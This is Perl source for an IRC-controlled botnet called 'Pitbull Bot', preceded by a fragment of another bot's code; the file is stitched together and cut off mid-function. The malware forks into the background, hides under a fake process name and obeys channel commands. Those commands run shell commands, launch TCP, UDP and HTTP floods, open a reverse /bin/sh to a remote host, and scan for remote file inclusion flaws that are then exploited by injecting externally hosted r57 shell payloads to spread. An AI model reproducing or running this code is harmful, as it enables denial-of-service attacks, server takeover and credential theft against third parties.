   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
{
my @dominios = ("removed-them-all");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"@gstring");
}

    my $query="www.google.com.ar/custom?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
#sendraw("privmsg #Morgan :DEBUG only test googling: ".$query."");
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
    push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

# NOTE: DONT REMOVE COPYRIGHTS

#!/usr/bin/perl
# Pitbull Bot
#
# Coded by : The_PitBull
#
# Thanks to :
# Ex0d3us for the Scanner
# r0x00k  for testing and helping
#
# Greets to :
# ASC @ irc.ascnet.biz
#
# Fuck you to :
# W8ting4u
# Morgan
#
#You can use the following commands :
#!bot @portscan <ip>
#!bot @back <ip><port>   
#!bot @udpflood <ip> <packet size> <time>
#!bot @tcpflood <ip> <port> <packet size> <time>
#!bot @httpflood <site> <time>
#!bot @linuxhelp
#!bot @multiscan <vuln> <dork>
#!bot @googlescan <vuln> <dork>
#!bot @system
#!bot @milw0rm
#!bot @join <#channel>   
#!bot @part <#channel>
#!bot @help
#!bot cd tmp for example
#
#
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

######################
use HTTP::Request;
use LWP::UserAgent;
######################
my $processo = '[httpds]';
######################


######################
#   Configuration    #
#                    #
############################################
my $linas_max='8';
#                                          #
# Maximum Lines for Anti Flood             #
############################################
my $sleep='5';
#                                          #                                     
#Sleep Time                                #
############################################
my @cmdstring='http://www.fuzi.by.ru/list.txt';
#                                          #
#CMD String                                #
############################################
my @adms=("FuZi^vL");
#                                          #
#Admins of the Bot set your nickname here  #
############################################
my @canais=("#fuzi");
#                                          #
#Put your channel here                     #
############################################
my @nickname = ("Priv8Scan");
my $nick = $nickname[rand scalar @nickname];
#                                          #
#Nickname of bot                           #
############################################
my $ircname ='YOurScan';
chop (my $realname = 'YourScan');
#                                          #
#IRC name and Realname                     #
############################################
$servidor='irc.fuzi.biz' unless $servidor;
my $porta='6667';
#                                          #
#IRCServer and port                        #
############################################
my $VERSAO = '11,1 Scan =] ';
#Dont Change                               #
############################################
#End of Configuration#
#                    #
######################
$SIG{'INT'} = 'IGNORE';
######################
$SIG{'HUP'} = 'IGNORE';
######################
$SIG{'TERM'} = 'IGNORE';
######################
$SIG{'CHLD'} = 'IGNORE';
######################
$SIG{'PS'} = 'IGNORE';
######################
use IO::Socket;
######################
use Socket;
######################
use IO::Select;
######################
chdir("/");
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

#Connect
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }
}

my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {

      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line");
                 } else {
                             $line_temp = $line;
        }
      }
    }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
           notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
    }
    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }

  #End of Connect

  ########################################################################################################################
  # ______   __              ___    _   __    ___          __   __                                                       #
  #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
  # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
  #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
  #                                                                                                                      #
  ########################################################################################################################

  ######################
  #      PREFIX        #
  #                    #
  ######################
  # You can change the prefix if you want but the commands will be different
  # The standard prefix is !bot if you change it into !bitch for example
  # every command will be like !bitch @udpflood, !bitch @googlescan.
  # So its recommended not to change this ;)
  ######################

  if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
######################
#   End of PREFIX    #
#                    #
######################

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick|".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
  sendraw("JOIN $canal ddosit");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
  exit;
} else {

######################
#       Help         #
#                    #
######################

if ($funcarg =~ /^help/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT Help");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Select the function you want help for");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@ddos");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@rfiscan");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@backconnect");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@shell");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscanner");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or if you want too know all the commands type:");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@commands");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan Help");

}

if ($funcarg =~ /^ddos/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 There are 3 DDossers in this bot");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 UDPFlood, HTTPFlood and TCPFlood");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");

}

if ($funcarg =~ /^rfiscan/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 This bot also contains a RFI Scanner.");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You have multiengine scan that contains :12G4o8o12g9l4e4,2Altavista4,7All7The7Web4,14A4S14K4 and 7AOL  ");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or you can just scan with google ");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Commands :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@multiscan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@googlescan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can find strings here : http://www.xshqiptaretx.org/strings.txt ");

}

if ($funcarg =~ /^backconnect/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You use backconnect like this :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^shell/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 This bot has a integrated shell");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use it in private but also public in the channel");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 In public channel just use : 7!bot cd tmp12 for example");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 For help with the linux commands type :!bot 7@linuxhelp");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");

}

if ($funcarg =~ /^portscanner/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 The portscanner is very easy to use just type the following :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^commands/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use the following commands :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot cd tmp 12 for example");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@linuxhelp");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@multiscan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@googlescan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@system");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@milw0rm");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@join #channel");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@part #channel");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^linuxhelp/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Dir where you are : pwd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Start a Perl file : perl file.pl");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Go back from dir : cd ..");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Force to Remove a file/dir : rm -rf file/dir;ls -la");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Show all files/dir with permissions : ls -lia");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find config.inc.php files : find / -type f -name config.inc.php");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all writable folders and files : find / -perm -2 -ls");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all .htpasswd files : find / -type f -name .htpasswd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all service.pwd files : find / -type f -name service.pwd");
}

######################
#   End of  Help     #
#                    #
######################

######################
#     Commands       #
#                    #
######################

if ($funcarg =~ /^system/) {
  $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 The_PitBull");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #pitbull");
}

if ($funcarg =~ /^milw0rm/) {
      my @ltt=();
      my @bug=();
      my $x;
      my $page="";
      my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
      print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
      my @r = <$socke>;
      $page="@r";
      close($socke);
      while ($page =~  m/<title>(.*)</g){
      $x = $1;
      if ($x =~ /\&lt\;/) {
        $x =~ s/\&lt\;/</g;
        }
        if ($x !~ /milw0rm/) {
          push (@bug,$x);
          }}
          while ($page =~  m/<link.*expl.*([0-9]...)</g) {
            if ($1 !~ m/milw0rm.com|exploits|en/){
            push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
            }}
                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12 Latest exploits :");
            foreach $x (0..(@ltt - 1)) {
                  sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
              sleep 1;
          }}
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #      Portscan      #
          #                    #
          ######################

          if ($funcarg =~ /^portscan (.*)/) {
            my $hostip="$1";
            my
            @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
            my (@aberta, %porta_banner);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Scanning for open ports on 4".$1." 12 started .");
            foreach my $porta (@portas)  {
              my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
              'tcp', Timeout => 4);
              if ($scansock) {
                push (@aberta, $porta);
                $scansock->close;
              }
            }

            if (@aberta) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Open ports founded: @aberta");
              } else {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 No open ports foundend.");
            }
          }

          ######################
          #  End of  Portscan  #
          #                    #
          ######################
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #  Join And Part     #
          #                    #
          ######################
          if ($funcarg =~ /^join (.*)/) {
            sendraw($IRC_cur_socket, "JOIN ".$1);
          }
          if ($funcarg =~ /^part (.*)/) {
            sendraw($IRC_cur_socket, "PART ".$1);
          }
                    
          ######################
          #End of Join And Part#
          #                    #
          ######################
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #     TCPFlood       #
          #                    #
          ######################

          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4TCP DDos12:.4|12 Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
            my $itime = time;
            my ($cur_time);
            $cur_time = time - $itime;
            while ($3>$cur_time){
            $cur_time = time - $itime;
            &tcpflooder("$1","$2","$3");
          }
          sendraw($IRC_cur_socket,"PRIVMSG $printl :4|12.:4TCP DDos12:.4| 12Attack done 4 ".$1.":".$2.".");
        }
        ######################
        #  End of TCPFlood   #
        #                    #
        ######################
        ########################################################################################################################
        # ______   __              ___    _   __    ___          __   __                                                       #
        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
        #                                                                                                                      #
        ########################################################################################################################
        ######################
        #   Back Connect     #
        #                    #
        ######################
        if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
          my $host = "$1";
          my $porta = "$2";
          my $proto = getprotobyname('tcp');
          my $iaddr = inet_aton($host);
          my $paddr = sockaddr_in($porta, $iaddr);
          my $shell = "/bin/sh -i";
          if ($^O eq "MSWin32") {
            $shell = "cmd.exe";
          }
          socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
          connect(SOCKET, $paddr) or die "connect: $!";
          open(STDIN, ">&SOCKET");
          open(STDOUT, ">&SOCKET");
          open(STDERR, ">&SOCKET");
          system("$shell");
          close(STDIN);
          close(STDOUT);
          close(STDERR);
          if ($estatisticas)
          {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4BackConnect12:.4|12 Connecting to 4 $host:$porta");
          }
        }
        ######################
        #End of  Back Connect#
        #                    #
        ######################
        ########################################################################################################################
        # ______   __              ___    _   __    ___          __   __                                                       #
        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
        #                                                                                                                      #
        ########################################################################################################################
        ######################
        #    MULTI SCANNER   #
        #                    #
        ######################
        if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
        if (my $pid = fork) {
          waitpid($pid, 0);
          } else {
          if (fork) {
            exit;
            } else {
            my $bug=$1;
            my $dork=$2;
            my $contatore=0;
            my ($type,$space);
            my %hosts;
            ### Start Message
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Starting Scan for 4$bug 12$dork");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Initializing on 45 12Search Engines ");
            ### End of Start Message
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:12G4o8o12g9l4e12:.4|412 Started4");
            my @glist=&google($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:2Altavista:.4|412 Started4");
            my @alist=&altavista($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:7All7The7Web:.4|412 Started4");
            my @allist=&alltheweb($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:14A4S14K:.4|412 Started4");
            my @asklist=&ask($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:7AOL:.4|412 Started4");
            my @aollist=&aol($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Results for $dork");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 12G4o8o12g9l4e4 ".scalar(@glist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 2Altavista4 ".scalar(@alist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 7All7The7Web4 ".scalar(@allist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 14A4S14K4 ".scalar(@asklist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 7AOL ".scalar(@aollist)." 12Sites");
            push(my @tot, @glist, @ylist, @alist, @allist, @asklist, @aollist);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Total Results4 ".scalar(@tot)." 12Sites");
            my @puliti=&unici(@tot);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting Started For ".scalar(@puliti)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting");
            my $uni=scalar(@puliti);
            foreach my $sito (@puliti)
            {
              $contatore++;
              if ($contatore %30==0){
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting4 ".$contatore." 12of4 ".$uni. " 12Sites");
            }
            if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4| Finished for $bug $dork");
          }
          ### Print CMD and TEST CMD d0nt change the TEST cmd !........###
          my $test="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
          my $print="http://".$sito.$bug."http://www.thiaguinho.net/Scanr0x/r57.txt"."?";
          ### End of Print CMD and TEST CMD d0nt change the TEST cmd !.###
          my $req=HTTP::Request->new(GET=>$test);
          my $ua=LWP::UserAgent->new();
          $ua->timeout(5);
          my $response=$ua->request($req);
          if ($response->is_success) {
            my $re=$response->content;
            if($re =~ /31337/ && $re =~ /uid=/){
            my $hs=geths($print); $hosts{$hs}++;
            if($hosts{$hs}=="1"){
            $x=os($test);
            ($type,$space)=split(/\,/,$x);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 4OFF12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print ");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
            my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
            my $reqz=HTTP::Request->new(GET=>$test2);
            my $ua=LWP::UserAgent->new();
            my $response=$ua->request($reqz);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
            }}
            elsif($re =~ /31337/)
            {
              my $hs=geths($print); $hosts{$hs}++;
              if($hosts{$hs}=="1"){
              $x=os($test);
              ($type,$space)=split(/\,/,$x);
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 3ON12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print  ");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
              my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
              my $reqz=HTTP::Request->new(GET=>$test2);
              my $ua=LWP::UserAgent->new();
              my $response=$ua->request($reqz);
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
              }}
              }}}
              exit;
              }}}
              ######################
              #End of MultiSCANNER #
              #                    #
              ######################
              ########################################################################################################################
              # ______   __              ___    _   __    ___          __   __                                                       #
              #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
              # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
              #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
